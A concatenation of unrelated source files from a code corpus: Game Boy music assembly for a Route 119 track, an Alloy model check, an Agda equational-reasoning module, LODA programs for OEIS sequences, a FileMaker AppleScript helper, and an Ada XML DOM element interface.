note __, 2 note E_, 2 octave 4 note E_, 2 octave 3 note E_, 2 octave 4 note E_, 2 octave 3 note E_, 2 note __, 2 note F_, 2 note __, 2 note F_, 2 octave 4 note F_, 2 note D#, 2 octave 3 note F_, 2 note F#, 1 note __, 1 note F#, 2 note __, 2 octave 4 note F#, 2 note E_, 2 octave 3 note F#, 2 note G_, 1 note __, 1 note G_, 2 note __, 2 octave 4 note G_, 2 note F_, 2 octave 3 note G_, 1 octave 2 note E_, 1 octave 3 note B_, 8 intensity $24 note B_, 16 octave 2 intensity $14 note G#, 10 note __, 2 note G#, 2 note __, 2 note G#, 4 note __, 2 note G_, 2 note F#, 10 note __, 2 note F#, 2 note __, 2 note F#, 4 note __, 2 octave 3 note C_, 2 note C#, 12 intensity $24 note C#, 12 Music_Route119_Ch3_loop_1: note __, 6 loopchannel 11, Music_Route119_Ch3_loop_1 intensity $14 octave 4 note D#, 1 note __, 1 note F_, 1 note __, 1 note F#, 1 note __, 1 note E_, 1 note __, 1 note A_, 1 note __, 1 octave 5 note C#, 1 note __, 1 note E_, 2 note __, 2 note D_, 2 note C#, 2 note __, 2 octave 4 note B_, 2 note A_, 2 note __, 2 octave 5 note C#, 2 octave 4 note G_, 1 note __, 1 note B_, 1 note __, 1 octave 5 note D_, 1 note __, 1 note G_, 2 note __, 2 note F#, 2 note E_, 2 note __, 2 note D_, 2 note C#, 2 note __, 2 note E_, 2 octave 4 note F#, 1 note __, 1 note A_, 1 note __, 1 octave 5 note F#, 1 note __, 1 note A_, 6 intensity $24 note A_, 6 intensity $34 note A_, 6 intensity $14 octave 3 note B_, 1 note __, 1 note B_, 1 note __, 1 note B_, 8 octave 4 note C_, 1 note __, 1 note C_, 1 note __, 1 note C_, 2 octave 3 note C_, 6 note C#, 6 note __, 10 note C#, 6 note __, 2 octave 2 note G_, 6 note __, 10 note G_, 6 note F#, 1 note __, 1 note F#, 6 note __, 16 note __, 2 note F_, 1 note __, 1 note F_, 1 note __, 1 note F_, 1 note __, 1 note F_, 6 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 6 loopchannel 0, Music_Route119_Ch3_loop_main endchannel Music_Route119_Ch4: togglenoise $3 notetype $6 note __, 6 note A_, 1 note A_, 1 note A_, 1 note G#, 1 note G#, 1 note G#, 1 note B_, 6 note G#, 1 note G#, 1 note C_, 2 note C_, 2 note C_, 4 note D#, 2 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 callchannel Music_Route119_Ch4_branch_1 note B_, 8 note C_, 2 note C_, 1 note C_, 1 note B_, 6 note A_, 1 note A_, 1 note C_, 4 note C_, 2 note C_, 2 note C_, 2 note C_, 2 note G#, 1 note G#, 1 note C_, 2 note C_, 2 note C_, 1 note C_, 1 note B_, 8 callchannel Music_Route119_Ch4_branch_1 Music_Route119_Ch4_loop_main: note C_, 2 note D#, 2 note D#, 2 note B_, 4 note D_, 1 note D_, 1 note C_, 2 note D#, 2 note D#, 2 note B_, 4 note D_, 1 note D_, 1 ;;;;;;;;;;;;;;;;;;;;;;;;; note B_, 12 Music_Route119_Ch4_loop_1: note __, 12 loopchannel 11, Music_Route119_Ch4_loop_1 note D#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note C_, 2 note C_, 2 note C_, 2 note G#, 2 note C_, 2 note C_, 2 note C_, 2 note C_, 2 callchannel Music_Route119_Ch4_branch_2 Music_Route119_Ch4_loop_2: callchannel Music_Route119_Ch4_branch_3 note C_, 2 note G#, 2 note C_, 2 note B_, 6 note C_, 2 note G#, 2 note C_, 2 note B_, 6 loopchannel 2, Music_Route119_Ch4_loop_2 callchannel Music_Route119_Ch4_branch_2 note C_, 2 note D_, 2 note C_, 2 note C_, 2 note D#, 2 note C_, 2 callchannel Music_Route119_Ch4_branch_2 callchannel Music_Route119_Ch4_branch_2 callchannel Music_Route119_Ch4_branch_3 Music_Route119_Ch4_loop_3: note D#, 2 note C_, 2 note D_, 2 note B_, 4 note C_, 2 loopchannel 4, Music_Route119_Ch4_loop_3 note B_, 12 note __, 12 ;;;;;;;;;;;;;;;;;;;;;; note C_, 4 note G#, 2 note G#, 1 note G#, 1 note C_, 2 note C_, 2 note C_, 2 note G#, 1 note G#, 1 note D#, 2 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 callchannel Music_Route119_Ch4_branch_1 note B_, 8 note D#, 4 note D#, 12 note B_, 6 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 4 note G#, 2 note G#, 4 note G#, 2 note G#, 4 note G#, 2 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 2 note G#, 2 note G#, 2 note G#, 4 note G#, 2 note C_, 4 note G#, 2 note G#, 1 note G#, 1 note C_, 2 note C_, 2 note C_, 2 note G#, 1 note G#, 1 note D#, 2 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note G#, 1 callchannel Music_Route119_Ch4_branch_1 note C_, 2 note C_, 2 note C_, 2 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note C_, 2 note C_, 2 note C_, 2 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note B_, 6 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note C_, 2 note C_, 2 note C_, 1 note C_, 1 note B_, 8 note C_, 6 note G#, 1 note G#, 1 note C_, 4 note C_, 4 note C_, 6 note G#, 1 note G#, 1 note C_, 6 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note C_, 2 note C_, 4 note C_, 8 loopchannel 0, Music_Route119_Ch4_loop_main endchannel Music_Route119_Ch4_branch_1: note C_, 2 note G#, 2 note G#, 1 note G#, 1 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note D#, 2 note G#, 4 note G#, 2 note C_, 2 note G#, 2 note G#, 2 note G#, 1 note G#, 1 note G#, 1 note G#, 1 note D#, 2 note C_, 4 note C_, 2 note C_, 1 note C_, 1 note C_, 1 note C_, 1 note C_, 1 note C_, 1 endchannel Music_Route119_Ch4_branch_2: note C_, 2 note G#, 2 note C_, 2 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 note D_, 1 endchannel Music_Route119_Ch4_branch_3: note D#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note G#, 2 note C_, 2 note C_, 2 note C_, 2 endchannel
alloy4fun_models/trashltl/models/9/tqYkfTvvyy2qgRNFZ.als
Kaixi26/org.alloytools.alloy
0
4459
<reponame>Kaixi26/org.alloytools.alloy open main pred idtqYkfTvvyy2qgRNFZ_prop10 { always (all f:File | f in Protected implies always (f in Protected)) } pred __repair { idtqYkfTvvyy2qgRNFZ_prop10 } check __repair { idtqYkfTvvyy2qgRNFZ_prop10 <=> prop10o }
examples/outdated-and-incorrect/iird/Logic/ChainReasoning.agda
shlevy/agda
1,989
13146
<gh_stars>1000+ module Logic.ChainReasoning where module Mono where module Homogenous { A : Set } ( _==_ : A -> A -> Set ) (refl : (x : A) -> x == x) (trans : (x y z : A) -> x == y -> y == z -> x == z) where infix 2 chain>_ infixl 2 _===_ infix 3 _by_ chain>_ : (x : A) -> x == x chain> x = refl _ _===_ : {x y z : A} -> x == y -> y == z -> x == z xy === yz = trans _ _ _ xy yz _by_ : {x : A}(y : A) -> x == y -> x == y y by eq = eq module Poly where module Homogenous ( _==_ : {A : Set} -> A -> A -> Set ) (refl : {A : Set}(x : A) -> x == x) (trans : {A : Set}(x y z : A) -> x == y -> y == z -> x == z) where infix 2 chain>_ infixl 2 _===_ infix 3 _by_ chain>_ : {A : Set}(x : A) -> x == x chain> x = refl _ _===_ : {A : Set}{x y z : A} -> x == y -> y == z -> x == z xy === yz = trans _ _ _ xy yz _by_ : {A : Set}{x : A}(y : A) -> x == y -> x == y y by eq = eq module Heterogenous ( _==_ : {A B : Set} -> A -> B -> Set ) (refl : {A : Set}(x : A) -> x == x) (trans : {A B C : Set}(x : A)(y : B)(z : C) -> x == y -> y == z -> x == z) where infix 2 chain>_ infixl 2 _===_ infix 3 _by_ chain>_ : {A : Set}(x : A) -> x == x chain> x = refl _ _===_ : {A B C : Set}{x : A}{y : B}{z : C} -> x == y -> y == z -> x == z xy === yz = trans _ _ _ xy yz _by_ : {A B : Set}{x : A}(y : B) -> x == y -> x == y y by eq = eq module Heterogenous1 ( _==_ : {A B : Set1} -> A -> B -> Set1 ) (refl : {A : Set1}(x : A) -> x == x) (trans : {A B C : Set1}(x : A)(y : B)(z : C) -> x == y -> y == z -> x == z) where infix 2 chain>_ infixl 2 _===_ infix 3 _by_ chain>_ : {A : Set1}(x : A) -> x == x chain> x = refl _ _===_ : {A B C : Set1}{x : A}{y : B}{z : C} -> x == y -> y == z -> x == z xy === yz = trans _ _ _ xy yz _by_ : {A B : Set1}{x : A}(y : B) -> x == y -> x == y y by eq = eq
programs/oeis/022/A022393.asm
karttu/loda
0
90778
; A022393: Fibonacci sequence beginning 1, 23. ; 1,23,24,47,71,118,189,307,496,803,1299,2102,3401,5503,8904,14407,23311,37718,61029,98747,159776,258523,418299,676822,1095121,1771943,2867064,4639007,7506071,12145078,19651149,31796227,51447376,83243603,134690979,217934582,352625561,570560143,923185704,1493745847,2416931551,3910677398,6327608949,10238286347,16565895296,26804181643,43370076939,70174258582,113544335521,183718594103,297262929624,480981523727,778244453351,1259225977078,2037470430429,3296696407507,5334166837936,8630863245443,13965030083379,22595893328822,36560923412201,59156816741023,95717740153224,154874556894247,250592297047471,405466853941718,656059150989189,1061526004930907,1717585155920096,2779111160851003,4496696316771099,7275807477622102 mov $1,1 mov $3,22 lpb $0,1 sub $0,1 mov $2,$3 mov $3,$1 add $1,$2 lpe
library/fmGUI_ManageDatabase/fmGUI_ManageDb_ListOfXDBCTableNames.applescript
NYHTC/applescript-fm-helper
1
1166
<filename>library/fmGUI_ManageDatabase/fmGUI_ManageDb_ListOfXDBCTableNames.applescript -- fmGUI_ManageDb_ListOfXDBCTableNames({}) -- <NAME>, NYHTC -- Return a list of XDBC table names. (* HISTORY: 1.2.2 - 2019-03-12 ( eshagdar ): no need to bring frontmost again. narrowed scope of system events. 1.2.1 - 2018-04-30 ( eshagdar ): updated error message. 1.2 - 1.1 - 1.0 - created REQUIRES: fmGUI_ManageDb_GoToTab_Tables fmGUI_ManageDB_Save *) on run fmGUI_ManageDb_ListOfXDBCTableNames({}) end run -------------------- -- START OF CODE -------------------- on fmGUI_ManageDb_ListOfXDBCTableNames(prefs) -- version 1.2.2 try fmGUI_ManageDb_GoToTab_Tables({}) tell application "System Events" tell application process "FileMaker Pro Advanced" set xDBCTableNames to value of static text 1 of (every row of (table 1 of scroll area 1 of tab group 1 of window 1) whose value of static text 2 is not "FileMaker") end tell end tell fmGUI_ManageDB_Save({}) return xDBCTableNames on error errMsg number errNum error "unable to fmGUI_ManageDb_ListOfXDBCTableNames - " & errMsg number errNum end try end fmGUI_ManageDb_ListOfXDBCTableNames -------------------- -- END OF CODE -------------------- on fmGUI_ManageDb_GoToTab_Tables(prefs) tell application "htcLib" to fmGUI_ManageDb_GoToTab_Tables(prefs) end fmGUI_ManageDb_GoToTab_Tables on fmGUI_ManageDB_Save(prefs) tell application "htcLib" to fmGUI_ManageDB_Save(prefs) end fmGUI_ManageDB_Save
programs/oeis/157/A157740.asm
karttu/loda
1
19856
; A157740: 18522n + 42. ; 18564,37086,55608,74130,92652,111174,129696,148218,166740,185262,203784,222306,240828,259350,277872,296394,314916,333438,351960,370482,389004,407526,426048,444570,463092,481614,500136,518658,537180,555702,574224,592746,611268,629790,648312,666834,685356,703878,722400,740922,759444,777966,796488,815010,833532,852054,870576,889098,907620,926142,944664,963186,981708,1000230,1018752,1037274,1055796,1074318,1092840,1111362,1129884,1148406,1166928,1185450,1203972,1222494,1241016,1259538,1278060,1296582,1315104,1333626,1352148,1370670,1389192,1407714,1426236,1444758,1463280,1481802,1500324,1518846,1537368,1555890,1574412,1592934,1611456,1629978,1648500,1667022,1685544,1704066,1722588,1741110,1759632,1778154,1796676,1815198,1833720,1852242,1870764,1889286,1907808,1926330,1944852,1963374,1981896,2000418,2018940,2037462,2055984,2074506,2093028,2111550,2130072,2148594,2167116,2185638,2204160,2222682,2241204,2259726,2278248,2296770,2315292,2333814,2352336,2370858,2389380,2407902,2426424,2444946,2463468,2481990,2500512,2519034,2537556,2556078,2574600,2593122,2611644,2630166,2648688,2667210,2685732,2704254,2722776,2741298,2759820,2778342,2796864,2815386,2833908,2852430,2870952,2889474,2907996,2926518,2945040,2963562,2982084,3000606,3019128,3037650,3056172,3074694,3093216,3111738,3130260,3148782,3167304,3185826,3204348,3222870,3241392,3259914,3278436,3296958,3315480,3334002,3352524,3371046,3389568,3408090,3426612,3445134,3463656,3482178,3500700,3519222,3537744,3556266,3574788,3593310,3611832,3630354,3648876,3667398,3685920,3704442,3722964,3741486,3760008,3778530,3797052,3815574,3834096,3852618,3871140,3889662,3908184,3926706,3945228,3963750,3982272,4000794,4019316,4037838,4056360,4074882,4093404,4111926,4130448,4148970,4167492,4186014,4204536,4223058,4241580,4260102,4278624,4297146,4315668,4334190,4352712,4371234,4389756,4408278,4426800,4445322,4463844,4482366,4500888,4519410,4537932,4556454,4574976,4593498,4612020,4630542 mov $1,$0 mul $1,18522 add $1,18564
source/xml/dom/xml-dom-elements.ads
svn2github/matreshka
24
1900
<reponame>svn2github/matreshka ------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- XML Processor -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the <NAME>, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with League.Strings; with XML.DOM.Attributes; with XML.DOM.Nodes; package XML.DOM.Elements is pragma Preelaborate; type DOM_Element is limited interface and XML.DOM.Nodes.DOM_Node; type DOM_Element_Access is access all DOM_Element'Class with Storage_Size => 0; not overriding function Get_Tag_Name (Self : not null access constant DOM_Element) return League.Strings.Universal_String is abstract; -- The name of the element. If Node.localName is different from null, this -- attribute is a qualified name. For example, in: -- -- <elementExample id="demo"> -- ... -- </elementExample> , -- -- tagName has the value "elementExample". Note that this is -- case-preserving in XML, as are all of the operations of the DOM. The -- HTML DOM returns the tagName of an HTML element in the canonical -- uppercase form, regardless of the case in the source HTML document. not overriding function Get_Attribute_Node_NS (Self : not null access DOM_Element; Namespace_URI : League.Strings.Universal_String; Local_Name : League.Strings.Universal_String) return XML.DOM.Attributes.DOM_Attribute_Access is abstract; -- Retrieves an Attr node by local name and namespace URI. -- -- Per [XML Namespaces], applications must use the value null as the -- namespaceURI parameter for methods if they wish to have no namespace. -- -- Parameters -- -- namespaceURI of type DOMString -- The namespace URI of the attribute to retrieve. -- -- localName of type DOMString -- The local name of the attribute to retrieve. -- -- Return Value -- -- Attr -- The Attr node with the specified attribute local name and namespace -- URI or null if there is no such attribute. -- -- Exceptions -- -- DOMException -- -- NOT_SUPPORTED_ERR: May be raised if the implementation does not -- support the feature "XML" and the language exposed through the -- Document does not support XML Namespaces (such as [HTML 4.01]). not overriding function Set_Attribute_Node_NS (Self : not null access DOM_Element; New_Attr : not null XML.DOM.Attributes.DOM_Attribute_Access) return XML.DOM.Attributes.DOM_Attribute_Access is abstract; -- Adds a new attribute. If an attribute with that local name and that -- namespace URI is already present in the element, it is replaced by the -- new one. Replacing an attribute node by itself has no effect. -- -- Per [XML Namespaces], applications must use the value null as the -- namespaceURI parameter for methods if they wish to have no namespace. -- -- Parameters -- -- newAttr of type Attr -- The Attr node to add to the attribute list. -- -- Return Value -- -- Attr -- If the newAttr attribute replaces an existing attribute with the -- same local name and namespace URI, the replaced Attr node is -- returned, otherwise null is returned. -- -- Exceptions -- -- DOMException -- -- WRONG_DOCUMENT_ERR: Raised if newAttr was created from a different -- document than the one that created the element. -- -- NO_MODIFICATION_ALLOWED_ERR: Raised if this node is readonly. -- -- INUSE_ATTRIBUTE_ERR: Raised if newAttr is already an attribute of -- another Element object. The DOM user must explicitly clone Attr -- nodes to re-use them in other elements. -- -- NOT_SUPPORTED_ERR: May be raised if the implementation does not -- support the feature "XML" and the language exposed through the -- Document does not support XML Namespaces (such as [HTML 4.01]). procedure Set_Attribute_Node_NS (Self : not null access DOM_Element'Class; New_Attr : not null XML.DOM.Attributes.DOM_Attribute_Access); end XML.DOM.Elements;